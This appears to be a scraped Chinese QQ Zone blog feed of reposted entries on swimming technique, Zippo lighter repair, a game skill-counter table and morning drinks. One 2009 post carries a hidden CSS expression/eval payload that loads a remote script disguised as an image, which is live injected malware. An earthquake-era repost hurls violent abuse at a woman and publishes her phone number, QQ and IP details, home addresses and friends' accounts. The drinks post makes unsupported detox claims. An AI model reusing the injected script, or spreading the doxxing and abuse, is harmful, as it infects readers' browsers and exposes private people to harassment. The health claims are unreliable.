转角遇到丶猪

[转]教你学游泳

22796870@qq.com(转角遇到丶猪) — Thu, 02 Jul 2009 22:57:13 GMT

为了我们伟大的游泳事业~~ 转载了如此佳作。

蛙泳
　蛙泳配合有一个顺口溜，在讲解蛙泳动作要领之前先介绍给大家：“划手腿不动，收手再收腿，先伸胳膊后蹬腿，并拢伸直漂一会儿。”从顺口溜中可以看到，手的动作是先于腿的动作。一定要在收手后再收腿，伸手后再蹬腿。

　　臂部动作：
　　1、外划。双手前伸，手掌倾斜大约45度(小拇指朝上)。双手同时向外、后方划，继而屈臂向后、向下方划。
　　2、内划。掌心由外转向内，手带动小臂加速内划，手由下向上并在胸前并拢(手高肘低、肘在肩下)，前伸。
　　3、前伸。双手向前伸(肘关节伸直)。

要提醒大家注意的是：外划是放松的，内划是用力的、加速完成的、前伸是积极的。

　　1、蛙泳的完整配合动作：双手外划时抬头换气，双手内划时收腿低头稍憋气，双手前伸过头时蹬腿吐气。

　　腿部动作：
　　1.收腿：屈膝收腿，脚跟向臀部靠拢，小腿要躲在大腿后面慢收腿，这样可以减少阻力。收腿结束时，两膝与肩同宽，小腿与水面垂直，脚牚在水面附近。
　　2,翻脚：两脚距离大于两膝距离，两脚外翻，脚尖朝外，脚牚朝天，小腿和脚内侧对准水，像英文字母“W”。
　　3.夹蹬水：实际上是腿伸直的过程(屈髋、伸膝)，由腰腹和大腿同时发力，以小腿和脚内侧同时蹬夹水，先是向外、向后、向下，然后是向内、向上方蹬水，就像画半个圆圈。向外蹬水和向内夹水是连续完成的，也就是连蹬带夹。蹬夹水完成时双腿并拢伸直，双脚内转，脚尖相对。蹬水的速度不要过猛，要由慢到快地加速蹬水，两条腿将近伸直并拢的时候蹬水速度最快。
　　4.停：双腿并拢伸直后在一个短暂的滑行(1-2秒)。

自由泳
　游泳是全身运动，任何一个部位的活动都离不开全身的协调配合。从表面上看，自由泳依靠划水和打腿产生推进力，实际上，躯干的作用也不能忽视。首先，躯干应保持一定的紧张度，腰部如果松软，整个人就像一摊泥一样。其次，身体的转动能够有效地发挥躯干部大肌肉群的力量，减少阻力，提高工作效果。
　　自由泳的完整配合有多种形式。一般常见的是每划水2次，打水6次，呼吸1次。

　　1、手的入水点在肩的延长线和身体中线之间，以大拇指领先，斜插入水。
　　2、入水后，手、肘、肩继续前伸，使手臂伸展。随着身体的转动，屈腕、屈肘，手臂向外、后方抓水;手下划到最低点后，旋转手臂向内、上、后方划水，保持高肘屈臂的划水姿势。
　　3、手臂与水平面垂直时，经手领先，加速推水，手臂转为向外、向上和身后划水直到大腿侧，提肘出水。
　　4、出水后，手臂自然、放松地经空中向前移臂，保持高肘姿势。然后手在肩前领先入水，开始下一个动作。

　　1、手臂在水下成曲线划水路线，从侧面看，手相对于身体的划水轨迹为“S”形。
　　2、自由泳两臂配合有前交叉配合、中交叉配合、和后交叉配合3种基本形式。本图为前交叉形式，为初学者比较容易掌握的方式。

　　单臂打水划臂动作是初学者应该重点练习的动作。如此图，左臂划水，那么可以右臂扶板。一般腿打水10产次左右，手臂划水一次。掌握到一定程度的时候可以加上呼吸练习。具体组数以及练习方法，我们会在教学中详细介绍。
　　腿部鞭状打水：
　　1、打腿动作从髋部开始发力，大腿带动小腿，做鞭状打水动作。
　　2、向上打水腿从直到弯。以直腿开始向上打，脚接近水面时屈膝，小腿上抬，使脚牚露出水面后向下打水。开始可直腿打水，但腿略放松，不要僵硬，在水的压力下腿会自然弯曲。向下打水前膝关节弯曲角度约130-160度，打水幅度约为30-40厘米。打水时要绷脚(芭蕾脚)，不要勾脚。

仰泳
1、臂划水时，出水以大拇指领先，移臂时手臂与水面垂直，上臂贴近耳朵。移臂过程中手臂旋转，入水时小拇指领先插入水中。
　　2、如果以头的位置为钟表12 点，两手的入水点在11点和1点的位置。手入水后先直臂下划。
　　3、两臂划水应与身体转动协调配合，两肩不断形成位置差。
　　4、两臂划水配合采用中交叉方式，即两臂始终处于相反的位置，一臂划水时，另一臂移臂。
　　5、头部保持稳定没有左右摆动。

　　1、呼吸虽然不受限制，但最好采用有节奏的呼吸方式，或以固定在一臂移臂时吸气。毕竟划水以及身体在水中行进时会有波浪及水花。随意呼吸易呛水。
2、保持水平的身体姿势，躯干和肩随手臂动作围绕纵轴转动，始终有一肩不露出水面。
　　3、一般每划水2次，腿打水6次，呼吸1次。
　　4、两腿交替做鞭状上下打水。向上打水要快而有力，脚略内旋并绷直，向下打水时腿和脚自然放松。

　　1、移臂时手臂紧贴身体不能太宽。
　　2、移臂时如果手臂易弯曲，则可暂时用小拇指领先出水，养成直臂出水的习惯以后再用大拇指领先出水。
　　3、身体始终保持伸展、正直、几乎水平地仰卧于水面，好像平躺在床上，头下有一只矮枕头。

建议：仰泳腿要体会大腿用力，上抬与下压都要有，体会大腿带动小腿的感觉。

蝶泳

　　1、蝶泳的手入水点在两肩的延长线上，以大拇指领先，斜插入水。
　　2、入水后，肩、肘前伸，两手沿曲线向外、后、下方抓水。两手分开到肩宽时，屈肘，加速划水。
　　3、两手分开到达到最大宽度后，手臂转为向内、向上和向后划水，手臂上抬时保持高肘屈臂。两手在胸下或腹下时，手之间的距离最近。
　　4、呼吸与划水的配合也是蝶泳技术的关键。手臂结束向内划水时，头露出水面吸气，移臂时头还原入水。记住两个“之前”，即头在手出水前出水，在手入水前入水。

　　1、蝶泳双手划水两手距离接近最近时，手臂划水的方向再一次改变，转为向外、向上和向后划水，直至出水。
　　2、划水出水后，手臂在肩的带动下经空中向前移臂，准备入水、移臂一般以低、平、放松的姿势从两侧前移。
　　3、蝶泳的身体姿势掌握比较难，同时鞭状打水也不易掌握。在蝶泳学习的时候，我们会有专门的分解练习让您逐步掌握运作。

　　1、蝶泳的划水路线一般为“钥匙孔”形，指两手在胸下或腹下时的距离最近，这种前后划水路线比较均匀。
　　2、注意蝶泳的四肢动作是双臂、双腿同时协调发力。

[转]据说全球只有4个人通关的游戏~看看你行吗？　

22796870@qq.com(转角遇到丶猪) — Thu, 25 Jun 2009 11:40:20 GMT

方向键控制木块，目标是滚到指定的缺口内，很好玩的游戏，开动开动你的脑筋吧~！

[转]zippo打火机的常见故障解决方法

22796870@qq.com(转角遇到丶猪) — Tue, 16 Jun 2009 12:03:20 GMT

Zippo打火机常见问题答疑

1、ZIPPO侧面的铰链上下两个“小坑”是质量问题吗？是磕碰所致吗？
这两个“小坑”是焊点（也称铆点），是Zippo制作过程中必然形成的。Zippo上下机壳是单独生产完成，通过带有铰链的金属垫片链接后将垫片的两端焊在上下机壳上，从而把上下机壳链接成一个整体。所以那两个“坑”是冲压工艺形成，用来链接上下机壳。冲压焊接工艺过程由人工协助完成，所以铆点有深有浅，有大有小，有时上下不在一条线上。
2、机壳内部有“锈蚀”，机芯铁皮有“划痕”。怎么回事？
这是一种生产理念，对于ZIPPO来说追求的是简约，即从来不把工艺成本投入到无用的细节，也就不对机壳内部做任何处理了。机壳内部的锈蚀是制作过程中进行表面处理时留下的痕迹。相同的原因，ZIPPO机芯的“铁皮”也不是很讲究，因为是放在里面看不见的，而且在机壳内磨擦会有划痕，看上去像“旧的”。其实这正是真ZIPPO的正常表现。
3、ZIPPO打火机机壳和机芯的标识字母不同，是怎么回事？
机壳和机芯的表示方法一样，05表示2005年、06表示2006年，A、B、……、L表示1、2……、12月，以此来表示机壳、机芯的生产年月。ZIPPO实行严格的质量管理，生产统一的机壳和机芯。无论哪个年代生产的机壳、机芯，都可以相互匹配，即使年代相差很远。所以，机壳与机芯的生产年月不同不是鉴别真假的标准，是很普遍的、正常的现象。

4、我的ZIPPO开盖声音不是很脆为什么？
ZIPPO打火机是实用耐用型打火机，ZIPPO是终身的好朋友，声音不是ZIPPO的优点。
5、为什么机芯和机底上的字母或数字标识不一样？
机芯和机底的表示方法：08表示2008年、07表示2007年，A、B、……、L表示1、2……12月，以此来表示机壳、机芯的生产年月。ZIPPO机芯一般是先生产出来的，机壳是后生产的，所以标识不一样很正常。
6、为什么使用一段时间后打不着火了？
第一：油没有了，要加油。
第二：火石用的过短，要换火石。
第二：棉心碳化，要换棉心。
刚收到的ZIPPO为什么打不着？
全新的ZIPPO打火机是没有加过油的，加入ZIPPO专用油即可使用.专用油是易燃品不能邮寄，所以需要买家从当地或其它渠道购买，一般较大的商场均可以买到。加油后注意拨打遂火轮的力度，力度太小也不易点燃。
7、如何加油、换火石、换棉芯

加油注意事项：
最好选用ZIPPO原装燃料；
灌油时，撬开油嘴，一定把油嘴掰至底端，否则有可能漏油；
当棉芯已经开始渗油时，油已加满。加油量由自己掌握。

ZIPPO换火石(图)
换火石注意事项：
拧开内胆底部螺丝时，防止弹簧意外弹出；
更换新火石时，一定倒出旧火石碎片；
更换新火石后，调整火石位置，不要太用力打火轮。

ZIPPO换棉芯(图)
换棉芯注意事项：
棉芯一定成S状（如图），采用一弯一填的方法，使棉芯与脱脂棉充分接触，接触面积越大越好；
装入脱脂棉的时候可能最后装不下，是因为已经塞进去的棉花还有空隙，应用力添实。

[转]视频：恶搞张柏芝艳照后开黑店养家

22796870@qq.com(转角遇到丶猪) — Sun, 26 Apr 2009 05:13:55 GMT

视频：恶搞张柏芝艳照后开黑店养家

[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]

我曾经的一个搞笑故事（梦幻版）

22796870@qq.com(转角遇到丶猪) — Sat, 28 Mar 2009 11:28:37 GMT

千年二层武功相克表

22796870@qq.com(转角遇到丶猪) — Sat, 30 Aug 2008 02:39:15 GMT

二层武功相克表作者: 日期:08-08-27 14:47:57 热度: 以下是二层武功的相克表：　　拳法
　　无影疾风脚：闪躲高于40的上层均克无影疾风脚
　　暴风连环拳：如来天王拳、太极八卦拳、狂破拳、天马行去剑法、霸王剑式、风云式、花郎斩、岳家枪法、帝王槌法等。
　　太极八卦拳：如来天王拳、霸王剑式、苍狼破月刀法、花郎斩、岳家枪法、玉女枪法、五虎风魔棍、飞龙剑法等。
　　不羁浪人拳法：太极八卦拳、暴风连环拳、日光剑法、擎剑术、苍狼破月刀法、花郎斩、潜龙大飞式、雷电枪法等。
　　狂破拳：不羁浪人拳法、霸王剑式、不羁浪人剑法、苍狼破月刀法、天王刀诀、卧龙式等。
　　百步神拳：不羁浪人拳法、太极八卦拳、擎剑术、霸王剑式、日光剑法、十字闪光刀诀、卧龙式等。
　　如来天王拳：不羁浪人拳法、擎剑术、十字闪光刀诀、天王刀诀、不羁浪人剑法、卧龙式等。
　　剑法
　　日光剑法：暴风连环拳、擎剑术、岳家枪法、风云式、潜龙大飞式、五虎风魔棍、乾坤无敌槌、帝五槌法等。
　　擎剑术：暴风连环拳、苍狼破月刀法、岳家枪法、玉女枪法、帝王槌法等。
　　霸王剑式：不羁浪人拳法、天马行云剑法、苍狼破月刀法、五虎风魔棍、玉女枪法、雷电枪法等。
　　不羁浪人剑法：无影疾风脚、暴风疾风脚、擎剑术、日光剑法、天王刀诀、玉女枪法等。
　　昊天风云剑：如来天王拳、不羁浪人剑法、不羁浪人刀法、潜龙大飞式、雷电枪法、五轮槌法等。
　　天马行云剑法：如来天王拳、太极八卦拳、不羁浪人刀法、天王刀诀、潜龙大飞式、雷电枪法等。
　　飞龙剑法：不羁浪人拳法、不羁浪人剑法、霸王剑式、苍狼破月刀法、天王刀诀、岳家枪法、潜龙大飞式、五轮槌法等。
　　刀法
　　天王刀诀：太极八卦拳、暴风连环拳、霸王剑式、十字闪光刀诀、不羁浪人槌法、帝王槌法等。
　　十字闪光刀诀：暴风连环拳、擎剑术、风云式、五虎风魔棍、雷电枪法、玉女枪法、岳家枪法、帝王槌法等。
　　苍狼破月刀法：如来天王拳、九龙刀法、十字闪光刀诀、五虎风魔棍、潜龙大飞式、雷电枪法等。
　　不机羁浪人刀法：太极八卦拳、不羁浪人拳法、擎剑术、苍狼破月刀法、雷电枪法、潜龙大飞式、卧龙式等。
　　风云式：如来天王拳、飞龙剑法、花郎斩、潜龙大飞式、雷电枪法、五轮槌法等。
九龙刀法：如来天王拳、不羁浪人拳法、不羁浪人剑法、飞龙剑法、卧龙式、潜龙大飞式、不羁浪人枪法等。
花郎斩；如来天王拳、昊天风云剑、天马行云剑法、飞龙剑法、不羁浪人刀法、潜龙大飞式、卧龙式、五轮槌法等。
　　枪法
　　卧龙式：暴风连环拳、霸王剑式、不羁浪人剑法、天王刀诀、潜龙大飞式、五虎风魔棍、牛俊槌法、帝王槌法等。
　　潜龙大飞式：无影疾风脚、暴风连环拳、擎术剑、不羁浪人刀法、天王刀诀、雷电枪法等。
　　雷电枪法：如来天王拳、狂破拳、不羁浪人剑、擎术剑等。
　　不羁浪人枪法：如来天王拳、狂破拳、不羁浪人拳、霸王剑法、不羁浪人剑法、飞龙剑法、卧龙式等。
　　五虎风魔棍：不羁浪人拳法、飞龙剑法、不羁浪人刀法、风云式、潜龙大飞式等。
　　玉女枪法：如来天王拳、狂破拳、飞龙剑法、不羁浪人刀法、雷电枪法、五轮槌法等。
　　岳家枪法：如来天王拳、狂破拳、不羁浪人刀法、九龙刀法、天马行云剑法、潜龙大飞式等。
　　槌法
　　五轮槌法：擎术剑、霸王剑式、不羁浪人刀法、十字闪光刀诀、卧龙式、风林火山槌法、乾坤无敌槌、帝王槌法等。
　　牛俊槌法：暴风连环拳、擎术剑、不羁浪人剑法、飞龙剑法、霸王剑式、风云式、潜龙大飞式、雷电枪法等。
　　乾坤无敌槌：如来天王拳、狂破拳、不羁浪人刀法、天马行云剑法、昊天风云剑等。
　　不羁浪人槌法：不羁浪人剑法、飞龙剑法、不羁浪人刀法、玉女枪法、卧龙式、潜龙大飞式等。
　　风林火山槌：太极八卦拳、暴风连环拳、狂破拳、天马行云剑法、不羁浪人刀法、十字闪光刀诀、卧龙式等。
　　北冥槌法：狂破拳、擎术剑、天马行云剑法、九龙刀法、花郎斩、岳家枪法、潜龙大飞式、卧龙式等。
　　帝王槌法：如来天王拳、狂破拳、飞龙剑法、天马行云剑法、九龙刀法、十字闪光刀诀、潜龙大飞式、雷电枪法等

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[转]「愤怒]这婊子居然说四川地震活该！

22796870@qq.com(转角遇到丶猪) — Sun, 15 Jun 2008 05:27:50 GMT

看此视频时请先把本空间音乐播放器暂停！

内容非本人原创：
此视频在短短一天已经被封2次，而且在国内网站是看不到的。请还没看过的国人互相转达，这段视频是我在别人空间发现的，估计要不多久也要被封，国难当头，正当全国人民为灾区同胞默哀的时候，，正当全国人民为灾区同胞援助祈福的时候，正当全国人民慷慨奉献爱心的时候，正在外国各大媒体热切关注中国的时候，这个万人操的婊子，不，我说错了，这逼样的，倒帖钱都没人干，妈比的狗日的娘们！！她不对灾区同胞援助也就算了，还在网上如此幸灾乐祸，而且把视频发到视频网，让全世界网友都看见了中国人民不团结，让外国人看了中国的笑话，让全中国人为你寒心！！
让我们湖北人都为你感动耻辱！你妈比的，你不配做人，不配做我们伟大的中华儿女！你他妈的知道不知道你的行为，給中国人民所带来多大的负面影响！狗日的婊子！你他妈的因为玩不了劲舞团，因为上网页都是灰的，就他妈的诅咒！！你对得起你的良心？对得起养育你的祖国？没有祖国，你玩你妈比的劲舞团？你上你妈比的网页，狗日的网吧你们都他吗的是傻比是不是听这贱人在那骂你们能听得下去？
你们良心没有不安？草你妈的还在旁边笑，笑你妈比啊草你妈的，狗日的婊子你他妈和亚阁女是一个狗屎堆出来的货，草你妈的我告诉你你出名了，全中国人都认识你了，你人气高了，晚上睡不着的时候，拍拍你的良心，摸摸还在不在，是不是被狗吃了还是化为脓了，草你妈的，狗日的婊子，你他妈的给中国人丢脸你妈逼的
今天看你的遗容时，我们家族的一个人告诉我，你是湖北人，我草你妈的，为你脸红
此婊子应该枪毙！你妈比的枪毙你你难解我们的心头之恨！恨不得把你千刀万剐五马分尸，给他妈的你尝尝满清十大酷刑，你妈比的，越说越他妈的来气！死你妈逼里去吧，你吗比你的活着浪费空气死了浪费土地！贱人你伤了全中国的心！
妈比的，再也找不到什么词语能骂你了！你连狗都不如,
垃圾劲舞就出现了这样的败类，本人最讨厌什么劲舞，你说你们整天按那几个键盘，它有什么意思，老子不想骂你，真的不想骂你，你的行为真是前无古人后无来者
-----BY：Ｆan

此狗日的婊子:

电话：89125250
QQ：100011553
此女在新成子区虎石台网吧上传的视频
上网的IP为:124.92.21.254--- 沈阳网通
此女的地址：
辽宁沈阳市苏家屯区苏家屯区林盛堡镇文城堡村
辽宁沈阳市苏家屯区海棠街22号
请辽宁朋友核实，并送交公共安全专家机关！！！
劲舞团ID:_ShinHwa.X货　　　　　
昵称：*「好离友」
性别：女
生日：12-29
星座：摩羯座
血型：B型
居住地：辽宁-沈阳
同学QQ号：308563578（糖豆豆）、275672676（千歌音）、35924464（爽er...)
同事QQ号：410863054

附腾讯网新闻：
华商网讯（记者敬江晴）在全国人民众志成城抗震救灾之际，5月21日上午，网络上的一个视频瞬间激起网民们的愤怒。该视频中一女子辱骂四川地震长达5分钟，还骂的津津有味。据了解，该女子已被沈阳警方抓获。

网上惊现辱骂灾区人民视频

5月12日，四川汶川发生地震后，举国哀悼，全国人民通过各种方式尽己所能支援灾区。21日上午，网民们在发现一个女子在视频里辱骂四川地震长达4分40秒。视频中，这名女子脚翘在桌子上，一副满不在乎的样子，不断的辱骂灾区人民。国务院规定，19日至21日，全国停止一切娱乐活动，这名女子因玩不了J5游戏，所以大骂灾区人民。

人肉搜素引擎再次发威

此视频出现后，该女子成了YOUTUBE政治首页里的新闻人物，并开始在国外网站风传。有网友说：“我们对辽宁女这样的做法深恶痛绝，一个人怎么可以无耻无知到这种地步，可以说整个中华民族都不能饶恕她的这个愚蠢的错误，我想这不能仅仅是一个错误，这是对中国人民，对受灾群众，对死难者的亵渎。”

“想到受灾的群众，想到奋战在抗震救灾一线的同志，想到死难者和为救灾献出生命的同志，想到温家宝总理的言行，我控制不住要哭，这个人怎么能这样？怎么能这样？”网友们认为该女子的行为严重影响的中国人民的形象，网民震怒的同时，号召大家“13亿人一起动手把他找出来！

人肉引擎在此时再次发威，网友们通过各种渠道搜集到该女子的信息：姓名张雅，1987年7月29日出生，辽宁沈阳市苏家屯人，她的QQ好友号码、身份证号码等等。

女子已被沈阳警方抓获

据来自沈阳方面的消息称，该女子的视频在网上引起网民愤怒后，沈阳市公安局苏家屯区分局根据网上提供的该女子的信息资料，于21日中午1时左右，在苏家屯区如意网吧将其抓获，苏家屯区计算机通讯科正在调查。

关于该行为违法性的讨论

在网络上，网民称该女子为“辽宁女”，在表达愤怒感情的同时，很多网友也就该女子行为的违法性展开了讨论。

有网友说：“这应该是违法的，随着改革开发的深入，我们的言论越来越自由，但是必须还要在法律的框架内的。有危害国家公共安全嫌疑！”有网友认为该女子纯属炒作，“不惜用这样的手段来达到她的目的，用她对整个国家的亵渎来实现她的目的，这是多么的无知无耻啊。”

“是不是傻啊？我都录一遍了，你叫我再录一遍干什么玩意儿？骂你一遍你就是没够是不是？那行，姐再跟你说一遍。”通过视频中最先出现的这段话，有网友认为一般人谁没点常识，会犯傻去录这个？他们认为，该视频是被骗录的，“真正有问题的，是那个录制者”。

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臭婊子！就该吧你直接枪毙.留你这样的脑残有毛用,还幸灾乐祸!还是人吗,四川的狗都比"你"懂事.地震都让全世界人们忘却了原本的肤色和政见，地震面前，人人平等.此时出来你这种脑残的人，真当打入地狱十九层，永世不得翻身！！！！

本篇日志写完不到1个小时，被转载10多次，
图只载了一少部分，很多都没载到，日志长度有限
此日志本人不介意转载，
情系四川，四川加油，中国加油，

清晨第一杯水,你喝了什麼?

22796870@qq.com(转角遇到丶猪) — Fri, 04 Jan 2008 04:21:46 GMT

你已经很清楚了，起床后空腹喝下第一杯液体有益健康，但是这一杯该喝什麼才正确？
白开水、淡盐水、蜂蜜水、柠檬水、果汁、牛奶...这些选项都对吗？
可要弄明白了，这裡面真的有误解啊！

白开水
晨起喝水，喝与室温相同的开水最佳，以尽量减少对胃肠的刺激。
研究发现，煮沸后冷却至20~25℃的白开水是最佳选择，因為其内含的活性生物，
会透过细胞膜促进新陈代谢，增强人体的免疫功能，凡是习惯喝温或凉开水的人，
新陈代谢状态良好，肌肉组织中的乳酸积累减少，因此不易感到疲劳，
而且开水中的钙，镁元素对身体健康是很有益的。
不过，早上起床后不要饮用冷，那样会刺激胃部并且无法到达肠道，因而造成体内胀气。

蜂蜜水
相比之下，清晨起来喝一杯蜂蜜水更為科学。
人经过一夜睡眠后，内大部分水分已被排泄和吸收，这时空腹饮一杯蜂蜜水，既可补充水分，又可增加营养，完全可取代白开水的位置。

柠檬水
如果留心报章的美容或减肥知识，你会发现，宿便是终结美丽曼妙身材的元凶之一。
是的，宿便一旦形成后，所积存的废物会逐渐变质為毒素，反映到你的皮肤表面。
所以，每天早上起来，最好在尚未进食之前，空腹喝下一杯加了新鲜柠檬片的热开水。
别小看这杯排毒水，它不仅是身体最好的酸硷中和剂，还能起到清除宿便、排除毒素的功效。
此外，如果有口气不佳的困扰，它也能神奇地帮你改善。

淡盐水
有不少人认為喝淡盐水有利于身体健康，于是晨起就喝淡盐水，这种认识却是错误的。
研究认為，人在整夜睡眠中未饮滴水，然而呼吸、排汗、泌尿却仍在进行中，这些生理活动要消耗损失许多水分。早晨起床如饮些白开水，可很快使血液得到稀释，纠正夜间的高渗性脱水。
而喝盐水则反而会加重高渗性脱水，令人更加口乾。
何况，早晨是人体血压升高的第一个高峰，喝盐水会使血压更高。

果汁
有人以為早上起来喝上一杯鲜果汁既有解渴作用又有营养，但你错了。
这时喝果汁并不能提供此时身体最需要的水分，而且在缺水的状态下就让胃肠进行工作，不利于身体健康。如果这时喝市售的果汁、可乐、汽水等，就更是大错特错了，
汽水和可乐等碳酸饮料会加速钙的排泄，清晨饮用非但不能有效补充机体缺少的水分，还会增加身体对水分的要求，反而造成体内缺水。

牛奶
早上可以喝牛奶，这没错，但放在"第一杯"就错了。
空腹喝牛奶不过是"穿肠而过"，胃来不及消化，小肠来不及吸收，
牛奶的营养价值也就无从体现，还有人出现肠胃胀气等"过敏"反应，更把好事变成坏事。
因此早上喝牛奶是作為"早餐"来用的，并且一定要配上碳水化合物同吃，才能充分发挥蛋白质的营养价值。

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[url=javascript:;]主人回复[/url][url=javascript:quoteReply(1)]引用[/url] [url=javascript:delReply(1,0)]删除[/url]1楼评论时间：2008年1月3日 21时35分24秒
我清晨不喝水，中午起床，谢谢。主人回复：

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爆笑【在宜昌】视频－－不看后悔！！

22796870@qq.com(转角遇到丶猪) — Mon, 03 Dec 2007 03:45:45 GMT

暴笑洗脚城

22796870@qq.com(转角遇到丶猪) — Mon, 03 Dec 2007 03:43:19 GMT